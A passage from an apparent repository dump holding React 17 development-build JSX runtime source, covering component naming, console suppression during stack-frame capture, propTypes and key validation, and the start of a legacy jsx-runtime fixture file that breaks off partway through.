wrapperName);\n}\n\nfunction getContextName(type) {\n  return type.displayName || 'Context';\n}\n\nfunction getComponentName(type) {\n  if (type == null) {\n    // Host root, text node or just invalid type.\n    return null;\n  }\n\n  {\n    if (typeof type.tag === 'number') {\n      error('Received an unexpected object in getComponentName(). ' + 'This is likely a bug in React. Please file an issue.');\n    }\n  }\n\n  if (typeof type === 'function') {\n    return type.displayName || type.name || null;\n  }\n\n  if (typeof type === 'string') {\n    return type;\n  }\n\n  switch (type) {\n    case exports.Fragment:\n      return 'Fragment';\n\n    case REACT_PORTAL_TYPE:\n      return 'Portal';\n\n    case REACT_PROFILER_TYPE:\n      return 'Profiler';\n\n    case REACT_STRICT_MODE_TYPE:\n      return 'StrictMode';\n\n    case REACT_SUSPENSE_TYPE:\n      return 'Suspense';\n\n    case REACT_SUSPENSE_LIST_TYPE:\n      return 'SuspenseList';\n  }\n\n  if (typeof type === 'object') {\n    switch (type.$$typeof) {\n      case REACT_CONTEXT_TYPE:\n        var context = type;\n        return getContextName(context) + '.Consumer';\n\n      case REACT_PROVIDER_TYPE:\n        var provider = type;\n        return getContextName(provider._context) + '.Provider';\n\n      case REACT_FORWARD_REF_TYPE:\n        return getWrappedName(type, type.render, 'ForwardRef');\n\n      case REACT_MEMO_TYPE:\n        return getComponentName(type.type);\n\n      case REACT_BLOCK_TYPE:\n        return getComponentName(type._render);\n\n      case REACT_LAZY_TYPE:\n        {\n          var lazyComponent = type;\n          var payload = lazyComponent._payload;\n          var init = lazyComponent._init;\n\n          try {\n            return getComponentName(init(payload));\n          } catch (x) {\n            return null;\n          }\n        }\n    }\n  }\n\n  return null;\n}\n\n// Helpers to patch console.logs to avoid logging during side-effect free\n// replaying on render function. This currently only patches the object\n// lazily which won't cover if the log function was extracted eagerly.\n// We could also eagerly patch the method.\nvar disabledDepth = 0;\nvar prevLog;\nvar prevInfo;\nvar prevWarn;\nvar prevError;\nvar prevGroup;\nvar prevGroupCollapsed;\nvar prevGroupEnd;\n\nfunction disabledLog() {}\n\ndisabledLog.__reactDisabledLog = true;\nfunction disableLogs() {\n  {\n    if (disabledDepth === 0) {\n      /* eslint-disable react-internal/no-production-logging */\n      prevLog = console.log;\n      prevInfo = console.info;\n      prevWarn = console.warn;\n      prevError = console.error;\n      prevGroup = console.group;\n      prevGroupCollapsed = console.groupCollapsed;\n      prevGroupEnd = console.groupEnd; // https://github.com/facebook/react/issues/19099\n\n      var props = {\n        configurable: true,\n        enumerable: true,\n        value: disabledLog,\n        writable: true\n      }; // $FlowFixMe Flow thinks console is immutable.\n\n      Object.defineProperties(console, {\n        info: props,\n        log: props,\n        warn: props,\n        error: props,\n        group: props,\n        groupCollapsed: props,\n        groupEnd: props\n      });\n      /* eslint-enable react-internal/no-production-logging */\n    }\n\n    disabledDepth++;\n  }\n}\nfunction reenableLogs() {\n  {\n    disabledDepth--;\n\n    if (disabledDepth === 0) {\n      /* eslint-disable react-internal/no-production-logging */\n      var props = {\n        configurable: true,\n        enumerable: true,\n        writable: true\n      }; // $FlowFixMe Flow thinks console is immutable.\n\n      Object.defineProperties(console, {\n        log: _assign({}, props, {\n          value: prevLog\n        }),\n        info: _assign({}, props, {\n          value: prevInfo\n        }),\n        warn: _assign({}, props, {\n          value: prevWarn\n        }),\n        error: _assign({}, props, {\n          value: prevError\n        }),\n        group: _assign({}, props, {\n          value: prevGroup\n        }),\n        groupCollapsed: _assign({}, props, {\n          value: prevGroupCollapsed\n        }),\n        groupEnd: _assign({}, props, {\n          value: prevGroupEnd\n        })\n      });\n      /* eslint-enable react-internal/no-production-logging */\n    }\n\n    if (disabledDepth < 0) {\n      error('disabledDepth fell below zero. ' + 'This is a bug in React. Please file an issue.');\n    }\n  }\n}\n\nvar ReactCurrentDispatcher = ReactSharedInternals.ReactCurrentDispatcher;\nvar prefix;\nfunction describeBuiltInComponentFrame(name, source, ownerFn) {\n  {\n    if (prefix === undefined) {\n      // Extract the VM specific prefix used by each line.\n      try {\n        throw Error();\n      } catch (x) {\n        var match = x.stack.trim().match(/\\n( *(at )?)/);\n        prefix = match && match[1] || '';\n      }\n    } // We use the prefix to ensure our stacks line up with native stack frames.\n\n\n    return '\\n' + prefix + name;\n  }\n}\nvar reentry = false;\nvar componentFrameCache;\n\n{\n  var PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;\n  componentFrameCache = new PossiblyWeakMap();\n}\n\nfunction describeNativeComponentFrame(fn, construct) {\n  // If something asked for a stack inside a fake render, it should get ignored.\n  if (!fn || reentry) {\n    return '';\n  }\n\n  {\n    var frame = componentFrameCache.get(fn);\n\n    if (frame !== undefined) {\n      return frame;\n    }\n  }\n\n  var control;\n  reentry = true;\n  var previousPrepareStackTrace = Error.prepareStackTrace; // $FlowFixMe It does accept undefined.\n\n  Error.prepareStackTrace = undefined;\n  var previousDispatcher;\n\n  {\n    previousDispatcher = ReactCurrentDispatcher.current; // Set the dispatcher in DEV because this might be call in the render function\n    // for warnings.\n\n    ReactCurrentDispatcher.current = null;\n    disableLogs();\n  }\n\n  try {\n    // This should throw.\n    if (construct) {\n      // Something should be setting the props in the constructor.\n      var Fake = function () {\n        throw Error();\n      }; // $FlowFixMe\n\n\n      Object.defineProperty(Fake.prototype, 'props', {\n        set: function () {\n          // We use a throwing setter instead of frozen or non-writable props\n          // because that won't throw in a non-strict mode function.\n          throw Error();\n        }\n      });\n\n      if (typeof Reflect === 'object' && Reflect.construct) {\n        // We construct a different control for this case to include any extra\n        // frames added by the construct call.\n        try {\n          Reflect.construct(Fake, []);\n        } catch (x) {\n          control = x;\n        }\n\n        Reflect.construct(fn, [], Fake);\n      } else {\n        try {\n          Fake.call();\n        } catch (x) {\n          control = x;\n        }\n\n        fn.call(Fake.prototype);\n      }\n    } else {\n      try {\n        throw Error();\n      } catch (x) {\n        control = x;\n      }\n\n      fn();\n    }\n  } catch (sample) {\n    // This is inlined manually because closure doesn't do it for us.\n    if (sample && control && typeof sample.stack === 'string') {\n      // This extracts the first frame from the sample that isn't also in the control.\n      // Skipping one frame that we assume is the frame that calls the two.\n      var sampleLines = sample.stack.split('\\n');\n      var controlLines = control.stack.split('\\n');\n      var s = sampleLines.length - 1;\n      var c = controlLines.length - 1;\n\n      while (s >= 1 && c >= 0 && sampleLines[s] !== controlLines[c]) {\n        // We expect at least one stack frame to be shared.\n        // Typically this will be the root most one. However, stack frames may be\n        // cut off due to maximum stack limits. In this case, one maybe cut off\n        // earlier than the other. We assume that the sample is longer or the same\n        // and there for cut off earlier. So we should find the root most frame in\n        // the sample somewhere in the control.\n        c--;\n      }\n\n      for (; s >= 1 && c >= 0; s--, c--) {\n        // Next we find the first one that isn't the same which should be the\n        // frame that called our sample function and the control.\n        if (sampleLines[s] !== controlLines[c]) {\n          // In V8, the first line is describing the message but other VMs don't.\n          // If we're about to return the first line, and the control is also on the same\n          // line, that's a pretty good indicator that our sample threw at same line as\n          // the control. I.e. before we entered the sample frame. So we ignore this result.\n          // This can happen if you passed a class to function component, or non-function.\n          if (s !== 1 || c !== 1) {\n            do {\n              s--;\n              c--; // We may still have similar intermediate frames from the construct call.\n              // The next one that isn't the same should be our match though.\n\n              if (c < 0 || sampleLines[s] !== controlLines[c]) {\n                // V8 adds a \"new\" prefix for native classes. Let's remove it to make it prettier.\n                var _frame = '\\n' + sampleLines[s].replace(' at new ', ' at ');\n\n                {\n                  if (typeof fn === 'function') {\n                    componentFrameCache.set(fn, _frame);\n                  }\n                } // Return the line we found.\n\n\n                return _frame;\n              }\n            } while (s >= 1 && c >= 0);\n          }\n\n          break;\n        }\n      }\n    }\n  } finally {\n    reentry = false;\n\n    {\n      ReactCurrentDispatcher.current = previousDispatcher;\n      reenableLogs();\n    }\n\n    Error.prepareStackTrace = previousPrepareStackTrace;\n  } // Fallback to just using the name if we couldn't make it throw.\n\n\n  var name = fn ? fn.displayName || fn.name : '';\n  var syntheticFrame = name ? describeBuiltInComponentFrame(name) : '';\n\n  {\n    if (typeof fn === 'function') {\n      componentFrameCache.set(fn, syntheticFrame);\n    }\n  }\n\n  return syntheticFrame;\n}\nfunction describeFunctionComponentFrame(fn, source, ownerFn) {\n  {\n    return describeNativeComponentFrame(fn, false);\n  }\n}\n\nfunction shouldConstruct(Component) {\n  var prototype = Component.prototype;\n  return !!(prototype && prototype.isReactComponent);\n}\n\nfunction describeUnknownElementTypeFrameInDEV(type, source, ownerFn) {\n\n  if (type == null) {\n    return '';\n  }\n\n  if (typeof type === 'function') {\n    {\n      return describeNativeComponentFrame(type, shouldConstruct(type));\n    }\n  }\n\n  if (typeof type === 'string') {\n    return describeBuiltInComponentFrame(type);\n  }\n\n  switch (type) {\n    case REACT_SUSPENSE_TYPE:\n      return describeBuiltInComponentFrame('Suspense');\n\n    case REACT_SUSPENSE_LIST_TYPE:\n      return describeBuiltInComponentFrame('SuspenseList');\n  }\n\n  if (typeof type === 'object') {\n    switch (type.$$typeof) {\n      case REACT_FORWARD_REF_TYPE:\n        return describeFunctionComponentFrame(type.render);\n\n      case REACT_MEMO_TYPE:\n        // Memo may contain any component type so we recursively resolve it.\n        return describeUnknownElementTypeFrameInDEV(type.type, source, ownerFn);\n\n      case REACT_BLOCK_TYPE:\n        return describeFunctionComponentFrame(type._render);\n\n      case REACT_LAZY_TYPE:\n        {\n          var lazyComponent = type;\n          var payload = lazyComponent._payload;\n          var init = lazyComponent._init;\n\n          try {\n            // Lazy may contain any component type so we recursively resolve it.\n            return describeUnknownElementTypeFrameInDEV(init(payload), source, ownerFn);\n          } catch (x) {}\n        }\n    }\n  }\n\n  return '';\n}\n\nvar loggedTypeFailures = {};\nvar ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;\n\nfunction setCurrentlyValidatingElement(element) {\n  {\n    if (element) {\n      var owner = element._owner;\n      var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);\n      ReactDebugCurrentFrame.setExtraStackFrame(stack);\n    } else {\n      ReactDebugCurrentFrame.setExtraStackFrame(null);\n    }\n  }\n}\n\nfunction checkPropTypes(typeSpecs, values, location, componentName, element) {\n  {\n    // $FlowFixMe This is okay but Flow doesn't know it.\n    var has = Function.call.bind(Object.prototype.hasOwnProperty);\n\n    for (var typeSpecName in typeSpecs) {\n      if (has(typeSpecs, typeSpecName)) {\n        var error$1 = void 0; // Prop type validation may throw. In case they do, we don't want to\n        // fail the render phase where it didn't fail before. So we log it.\n        // After these have been cleaned up, we'll let them throw.\n\n        try {\n          // This is intentionally an invariant that gets caught. It's the same\n          // behavior as without this statement except with a better message.\n          if (typeof typeSpecs[typeSpecName] !== 'function') {\n            var err = Error((componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' + 'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.');\n            err.name = 'Invariant Violation';\n            throw err;\n          }\n\n          error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED');\n        } catch (ex) {\n          error$1 = ex;\n        }\n\n        if (error$1 && !(error$1 instanceof Error)) {\n          setCurrentlyValidatingElement(element);\n\n          error('%s: type specification of %s' + ' `%s` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a %s. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).', componentName || 'React class', location, typeSpecName, typeof error$1);\n\n          setCurrentlyValidatingElement(null);\n        }\n\n        if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {\n          // Only monitor this failure once because there tends to be a lot of the\n          // same error.\n          loggedTypeFailures[error$1.message] = true;\n          setCurrentlyValidatingElement(element);\n\n          error('Failed %s type: %s', location, error$1.message);\n\n          setCurrentlyValidatingElement(null);\n        }\n      }\n    }\n  }\n}\n\nvar ReactCurrentOwner = ReactSharedInternals.ReactCurrentOwner;\nvar hasOwnProperty = Object.prototype.hasOwnProperty;\nvar RESERVED_PROPS = {\n  key: true,\n  ref: true,\n  __self: true,\n  __source: true\n};\nvar specialPropKeyWarningShown;\nvar specialPropRefWarningShown;\nvar didWarnAboutStringRefs;\n\n{\n  didWarnAboutStringRefs = {};\n}\n\nfunction hasValidRef(config) {\n  {\n    if (hasOwnProperty.call(config, 'ref')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 'ref').get;\n\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n\n  return config.ref !== undefined;\n}\n\nfunction hasValidKey(config) {\n  {\n    if (hasOwnProperty.call(config, 'key')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 'key').get;\n\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n\n  return config.key !== undefined;\n}\n\nfunction warnIfStringRefCannotBeAutoConverted(config, self) {\n  {\n    if (typeof config.ref === 'string' && ReactCurrentOwner.current && self && ReactCurrentOwner.current.stateNode !== self) {\n      var componentName = getComponentName(ReactCurrentOwner.current.type);\n\n      if (!didWarnAboutStringRefs[componentName]) {\n        error('Component \"%s\" contains the string ref \"%s\". ' + 'Support for string refs will be removed in a future major release. ' + 'This case cannot be automatically converted to an arrow function. ' + 'We ask you to manually fix this case by using useRef() or createRef() instead. ' + 'Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-string-ref', getComponentName(ReactCurrentOwner.current.type), config.ref);\n\n        didWarnAboutStringRefs[componentName] = true;\n      }\n    }\n  }\n}\n\nfunction defineKeyPropWarningGetter(props, displayName) {\n  {\n    var warnAboutAccessingKey = function () {\n      if (!specialPropKeyWarningShown) {\n        specialPropKeyWarningShown = true;\n\n        error('%s: `key` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);\n      }\n    };\n\n    warnAboutAccessingKey.isReactWarning = true;\n    Object.defineProperty(props, 'key', {\n      get: warnAboutAccessingKey,\n      configurable: true\n    });\n  }\n}\n\nfunction defineRefPropWarningGetter(props, displayName) {\n  {\n    var warnAboutAccessingRef = function () {\n      if (!specialPropRefWarningShown) {\n        specialPropRefWarningShown = true;\n\n        error('%s: `ref` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);\n      }\n    };\n\n    warnAboutAccessingRef.isReactWarning = true;\n    Object.defineProperty(props, 'ref', {\n      get: warnAboutAccessingRef,\n      configurable: true\n    });\n  }\n}\n/**\n * Factory method to create a new React element. This no longer adheres to\n * the class pattern, so do not use new to call it. Also, instanceof check\n * will not work. Instead test $$typeof field against Symbol.for('react.element') to check\n * if something is a React Element.\n *\n * @param {*} type\n * @param {*} props\n * @param {*} key\n * @param {string|object} ref\n * @param {*} owner\n * @param {*} self A *temporary* helper to detect places where `this` is\n * different from the `owner` when React.createElement is called, so that we\n * can warn. We want to get rid of owner and replace string `ref`s with arrow\n * functions, and as long as `this` and owner are the same, there will be no\n * change in behavior.\n * @param {*} source An annotation object (added by a transpiler or otherwise)\n * indicating filename, line number, and/or other information.\n * @internal\n */\n\n\nvar ReactElement = function (type, key, ref, self, source, owner, props) {\n  var element = {\n    // This tag allows us to uniquely identify this as a React Element\n    $$typeof: REACT_ELEMENT_TYPE,\n    // Built-in properties that belong on the element\n    type: type,\n    key: key,\n    ref: ref,\n    props: props,\n    // Record the component responsible for creating this element.\n    _owner: owner\n  };\n\n  {\n    // The validation flag is currently mutative. We put it on\n    // an external backing store so that we can freeze the whole object.\n    // This can be replaced with a WeakMap once they are implemented in\n    // commonly used development environments.\n    element._store = {}; // To make comparing ReactElements easier for testing purposes, we make\n    // the validation flag non-enumerable (where possible, which should\n    // include every environment we run tests in), so the test framework\n    // ignores it.\n\n    Object.defineProperty(element._store, 'validated', {\n      configurable: false,\n      enumerable: false,\n      writable: true,\n      value: false\n    }); // self and source are DEV only properties.\n\n    Object.defineProperty(element, '_self', {\n      configurable: false,\n      enumerable: false,\n      writable: false,\n      value: self\n    }); // Two elements created in two different places should be considered\n    // equal for testing purposes and therefore we hide it from enumeration.\n\n    Object.defineProperty(element, '_source', {\n      configurable: false,\n      enumerable: false,\n      writable: false,\n      value: source\n    });\n\n    if (Object.freeze) {\n      Object.freeze(element.props);\n      Object.freeze(element);\n    }\n  }\n\n  return element;\n};\n/**\n * https://github.com/reactjs/rfcs/pull/107\n * @param {*} type\n * @param {object} props\n * @param {string} key\n */\n\nfunction jsxDEV(type, config, maybeKey, source, self) {\n  {\n    var propName; // Reserved names are extracted\n\n    var props = {};\n    var key = null;\n    var ref = null; // Currently, key can be spread in as a prop. This causes a potential\n    // issue if key is also explicitly declared (ie. <div {...props} key=\"Hi\" />\n    // or <div key=\"Hi\" {...props} /> ). We want to deprecate key spread,\n    // but as an intermediary step, we will use jsxDEV for everything except\n    // <div {...props} key=\"Hi\" />, because we aren't currently able to tell if\n    // key is explicitly declared to be undefined or not.\n\n    if (maybeKey !== undefined) {\n      key = '' + maybeKey;\n    }\n\n    if (hasValidKey(config)) {\n      key = '' + config.key;\n    }\n\n    if (hasValidRef(config)) {\n      ref = config.ref;\n      warnIfStringRefCannotBeAutoConverted(config, self);\n    } // Remaining properties are added to a new props object\n\n\n    for (propName in config) {\n      if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {\n        props[propName] = config[propName];\n      }\n    } // Resolve default props\n\n\n    if (type && type.defaultProps) {\n      var defaultProps = type.defaultProps;\n\n      for (propName in defaultProps) {\n        if (props[propName] === undefined) {\n          props[propName] = defaultProps[propName];\n        }\n      }\n    }\n\n    if (key || ref) {\n      var displayName = typeof type === 'function' ? type.displayName || type.name || 'Unknown' : type;\n\n      if (key) {\n        defineKeyPropWarningGetter(props, displayName);\n      }\n\n      if (ref) {\n        defineRefPropWarningGetter(props, displayName);\n      }\n    }\n\n    return ReactElement(type, key, ref, self, source, ReactCurrentOwner.current, props);\n  }\n}\n\nvar ReactCurrentOwner$1 = ReactSharedInternals.ReactCurrentOwner;\nvar ReactDebugCurrentFrame$1 = ReactSharedInternals.ReactDebugCurrentFrame;\n\nfunction setCurrentlyValidatingElement$1(element) {\n  {\n    if (element) {\n      var owner = element._owner;\n      var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);\n      ReactDebugCurrentFrame$1.setExtraStackFrame(stack);\n    } else {\n      ReactDebugCurrentFrame$1.setExtraStackFrame(null);\n    }\n  }\n}\n\nvar propTypesMisspellWarningShown;\n\n{\n  propTypesMisspellWarningShown = false;\n}\n/**\n * Verifies the object is a ReactElement.\n * See https://reactjs.org/docs/react-api.html#isvalidelement\n * @param {?object} object\n * @return {boolean} True if `object` is a ReactElement.\n * @final\n */\n\nfunction isValidElement(object) {\n  {\n    return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;\n  }\n}\n\nfunction getDeclarationErrorAddendum() {\n  {\n    if (ReactCurrentOwner$1.current) {\n      var name = getComponentName(ReactCurrentOwner$1.current.type);\n\n      if (name) {\n        return '\\n\\nCheck the render method of `' + name + '`.';\n      }\n    }\n\n    return '';\n  }\n}\n\nfunction getSourceInfoErrorAddendum(source) {\n  {\n    if (source !== undefined) {\n      var fileName = source.fileName.replace(/^.*[\\\\\\/]/, '');\n      var lineNumber = source.lineNumber;\n      return '\\n\\nCheck your code at ' + fileName + ':' + lineNumber + '.';\n    }\n\n    return '';\n  }\n}\n/**\n * Warn if there's no key explicitly set on dynamic arrays of children or\n * object keys are not valid. This allows us to keep track of children between\n * updates.\n */\n\n\nvar ownerHasKeyUseWarning = {};\n\nfunction getCurrentComponentErrorInfo(parentType) {\n  {\n    var info = getDeclarationErrorAddendum();\n\n    if (!info) {\n      var parentName = typeof parentType === 'string' ? parentType : parentType.displayName || parentType.name;\n\n      if (parentName) {\n        info = \"\\n\\nCheck the top-level render call using <\" + parentName + \">.\";\n      }\n    }\n\n    return info;\n  }\n}\n/**\n * Warn if the element doesn't have an explicit key assigned to it.\n * This element is in an array. The array could grow and shrink or be\n * reordered. All children that haven't already been validated are required to\n * have a \"key\" property assigned to it. Error statuses are cached so a warning\n * will only be shown once.\n *\n * @internal\n * @param {ReactElement} element Element that requires a key.\n * @param {*} parentType element's parent's type.\n */\n\n\nfunction validateExplicitKey(element, parentType) {\n  {\n    if (!element._store || element._store.validated || element.key != null) {\n      return;\n    }\n\n    element._store.validated = true;\n    var currentComponentErrorInfo = getCurrentComponentErrorInfo(parentType);\n\n    if (ownerHasKeyUseWarning[currentComponentErrorInfo]) {\n      return;\n    }\n\n    ownerHasKeyUseWarning[currentComponentErrorInfo] = true; // Usually the current owner is the offender, but if it accepts children as a\n    // property, it may be the creator of the child that's responsible for\n    // assigning it a key.\n\n    var childOwner = '';\n\n    if (element && element._owner && element._owner !== ReactCurrentOwner$1.current) {\n      // Give the component that originally created this child.\n      childOwner = \" It was passed a child from \" + getComponentName(element._owner.type) + \".\";\n    }\n\n    setCurrentlyValidatingElement$1(element);\n\n    error('Each child in a list should have a unique \"key\" prop.' + '%s%s See https://reactjs.org/link/warning-keys for more information.', currentComponentErrorInfo, childOwner);\n\n    setCurrentlyValidatingElement$1(null);\n  }\n}\n/**\n * Ensure that every element either is passed in a static location, in an\n * array with an explicit keys property defined, or in an object literal\n * with valid key property.\n *\n * @internal\n * @param {ReactNode} node Statically passed child of any type.\n * @param {*} parentType node's parent's type.\n */\n\n\nfunction validateChildKeys(node, parentType) {\n  {\n    if (typeof node !== 'object') {\n      return;\n    }\n\n    if (Array.isArray(node)) {\n      for (var i = 0; i < node.length; i++) {\n        var child = node[i];\n\n        if (isValidElement(child)) {\n          validateExplicitKey(child, parentType);\n        }\n      }\n    } else if (isValidElement(node)) {\n      // This element was passed in a valid location.\n      if (node._store) {\n        node._store.validated = true;\n      }\n    } else if (node) {\n      var iteratorFn = getIteratorFn(node);\n\n      if (typeof iteratorFn === 'function') {\n        // Entry iterators used to provide implicit keys,\n        // but now we print a separate warning for them later.\n        if (iteratorFn !== node.entries) {\n          var iterator = iteratorFn.call(node);\n          var step;\n\n          while (!(step = iterator.next()).done) {\n            if (isValidElement(step.value)) {\n              validateExplicitKey(step.value, parentType);\n            }\n          }\n        }\n      }\n    }\n  }\n}\n/**\n * Given an element, validate that its props follow the propTypes definition,\n * provided by the type.\n *\n * @param {ReactElement} element\n */\n\n\nfunction validatePropTypes(element) {\n  {\n    var type = element.type;\n\n    if (type === null || type === undefined || typeof type === 'string') {\n      return;\n    }\n\n    var propTypes;\n\n    if (typeof type === 'function') {\n      propTypes = type.propTypes;\n    } else if (typeof type === 'object' && (type.$$typeof === REACT_FORWARD_REF_TYPE || // Note: Memo only checks outer props here.\n    // Inner props are checked in the reconciler.\n    type.$$typeof === REACT_MEMO_TYPE)) {\n      propTypes = type.propTypes;\n    } else {\n      return;\n    }\n\n    if (propTypes) {\n      // Intentionally inside to avoid triggering lazy initializers:\n      var name = getComponentName(type);\n      checkPropTypes(propTypes, element.props, 'prop', name, element);\n    } else if (type.PropTypes !== undefined && !propTypesMisspellWarningShown) {\n      propTypesMisspellWarningShown = true; // Intentionally inside to avoid triggering lazy initializers:\n\n      var _name = getComponentName(type);\n\n      error('Component %s declared `PropTypes` instead of `propTypes`. Did you misspell the property assignment?', _name || 'Unknown');\n    }\n\n    if (typeof type.getDefaultProps === 'function' && !type.getDefaultProps.isReactClassApproved) {\n      error('getDefaultProps is only used on classic React.createClass ' + 'definitions. Use a static property named `defaultProps` instead.');\n    }\n  }\n}\n/**\n * Given a fragment, validate that it can only be provided with fragment props\n * @param {ReactElement} fragment\n */\n\n\nfunction validateFragmentProps(fragment) {\n  {\n    var keys = Object.keys(fragment.props);\n\n    for (var i = 0; i < keys.length; i++) {\n      var key = keys[i];\n\n      if (key !== 'children' && key !== 'key') {\n        setCurrentlyValidatingElement$1(fragment);\n\n        error('Invalid prop `%s` supplied to `React.Fragment`. ' + 'React.Fragment can only have `key` and `children` props.', key);\n\n        setCurrentlyValidatingElement$1(null);\n        break;\n      }\n    }\n\n    if (fragment.ref !== null) {\n      setCurrentlyValidatingElement$1(fragment);\n\n      error('Invalid attribute `ref` supplied to `React.Fragment`.');\n\n      setCurrentlyValidatingElement$1(null);\n    }\n  }\n}\n\nfunction jsxWithValidation(type, props, key, isStaticChildren, source, self) {\n  {\n    var validType = isValidElementType(type); // We warn in this case but don't throw. We expect the element creation to\n    // succeed and there will likely be errors in render.\n\n    if (!validType) {\n      var info = '';\n\n      if (type === undefined || typeof type === 'object' && type !== null && Object.keys(type).length === 0) {\n        info += ' You likely forgot to export your component from the file ' + \"it's defined in, or you might have mixed up default and named imports.\";\n      }\n\n      var sourceInfo = getSourceInfoErrorAddendum(source);\n\n      if (sourceInfo) {\n        info += sourceInfo;\n      } else {\n        info += getDeclarationErrorAddendum();\n      }\n\n      var typeString;\n\n      if (type === null) {\n        typeString = 'null';\n      } else if (Array.isArray(type)) {\n        typeString = 'array';\n      } else if (type !== undefined && type.$$typeof === REACT_ELEMENT_TYPE) {\n        typeString = \"<\" + (getComponentName(type.type) || 'Unknown') + \" />\";\n        info = ' Did you accidentally export a JSX literal instead of a component?';\n      } else {\n        typeString = typeof type;\n      }\n\n      error('React.jsx: type is invalid -- expected a string (for ' + 'built-in components) or a class/function (for composite ' + 'components) but got: %s.%s', typeString, info);\n    }\n\n    var element = jsxDEV(type, props, key, source, self); // The result can be nullish if a mock or a custom function is used.\n    // TODO: Drop this when these are no longer allowed as the type argument.\n\n    if (element == null) {\n      return element;\n    } // Skip key warning if the type isn't valid since our key validation logic\n    // doesn't expect a non-string/function type and can throw confusing errors.\n    // We don't want exception behavior to differ between dev and prod.\n    // (Rendering will throw with a helpful message and as soon as the type is\n    // fixed, the key warnings will appear.)\n\n\n    if (validType) {\n      var children = props.children;\n\n      if (children !== undefined) {\n        if (isStaticChildren) {\n          if (Array.isArray(children)) {\n            for (var i = 0; i < children.length; i++) {\n              validateChildKeys(children[i], type);\n            }\n\n            if (Object.freeze) {\n              Object.freeze(children);\n            }\n          } else {\n            error('React.jsx: Static children should always be an array. ' + 'You are likely explicitly calling React.jsxs or React.jsxDEV. ' + 'Use the Babel transform instead.');\n          }\n        } else {\n          validateChildKeys(children, type);\n        }\n      }\n    }\n\n    if (type === exports.Fragment) {\n      validateFragmentProps(element);\n    } else {\n      validatePropTypes(element);\n    }\n\n    return element;\n  }\n} // These two functions exist to still get child warnings in dev\n\nvar jsxDEV$1 =  jsxWithValidation ;\n\nexports.jsxDEV = jsxDEV$1;\n  })();\n}\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-17/cjs/react-jsx-runtime.development.js",
    "content": "/** @license React v17.0.0-rc.3\n * react-jsx-runtime.development.js\n *\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nif (process.env.NODE_ENV !== \"production\") {\n  (function() {\n'use strict';\n\nvar React = require('react');\nvar _assign = require('object-assign');\n\n// ATTENTION\n// When adding new symbols to this file,\n// Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'\n// The Symbol used to tag the ReactElement-like types. If there is no native Symbol\n// nor polyfill, then a plain number is used for performance.\nvar REACT_ELEMENT_TYPE = 0xeac7;\nvar REACT_PORTAL_TYPE = 0xeaca;\nexports.Fragment = 0xeacb;\nvar REACT_STRICT_MODE_TYPE = 0xeacc;\nvar REACT_PROFILER_TYPE = 0xead2;\nvar REACT_PROVIDER_TYPE = 0xeacd;\nvar REACT_CONTEXT_TYPE = 0xeace;\nvar REACT_FORWARD_REF_TYPE = 0xead0;\nvar REACT_SUSPENSE_TYPE = 0xead1;\nvar REACT_SUSPENSE_LIST_TYPE = 0xead8;\nvar REACT_MEMO_TYPE = 0xead3;\nvar REACT_LAZY_TYPE = 0xead4;\nvar REACT_BLOCK_TYPE = 0xead9;\nvar REACT_SERVER_BLOCK_TYPE = 0xeada;\nvar REACT_FUNDAMENTAL_TYPE = 0xead5;\nvar REACT_SCOPE_TYPE = 0xead7;\nvar REACT_OPAQUE_ID_TYPE = 0xeae0;\nvar REACT_DEBUG_TRACING_MODE_TYPE = 0xeae1;\nvar REACT_OFFSCREEN_TYPE = 0xeae2;\nvar REACT_LEGACY_HIDDEN_TYPE = 0xeae3;\n\nif (typeof Symbol === 'function' && Symbol.for) {\n  var symbolFor = Symbol.for;\n  REACT_ELEMENT_TYPE = symbolFor('react.element');\n  REACT_PORTAL_TYPE = symbolFor('react.portal');\n  exports.Fragment = symbolFor('react.fragment');\n  REACT_STRICT_MODE_TYPE = symbolFor('react.strict_mode');\n  REACT_PROFILER_TYPE = symbolFor('react.profiler');\n  REACT_PROVIDER_TYPE = symbolFor('react.provider');\n  REACT_CONTEXT_TYPE = symbolFor('react.context');\n  REACT_FORWARD_REF_TYPE = symbolFor('react.forward_ref');\n  REACT_SUSPENSE_TYPE = symbolFor('react.suspense');\n  REACT_SUSPENSE_LIST_TYPE = symbolFor('react.suspense_list');\n  REACT_MEMO_TYPE = symbolFor('react.memo');\n  REACT_LAZY_TYPE = symbolFor('react.lazy');\n  REACT_BLOCK_TYPE = symbolFor('react.block');\n  REACT_SERVER_BLOCK_TYPE = symbolFor('react.server.block');\n  REACT_FUNDAMENTAL_TYPE = symbolFor('react.fundamental');\n  REACT_SCOPE_TYPE = symbolFor('react.scope');\n  REACT_OPAQUE_ID_TYPE = symbolFor('react.opaque.id');\n  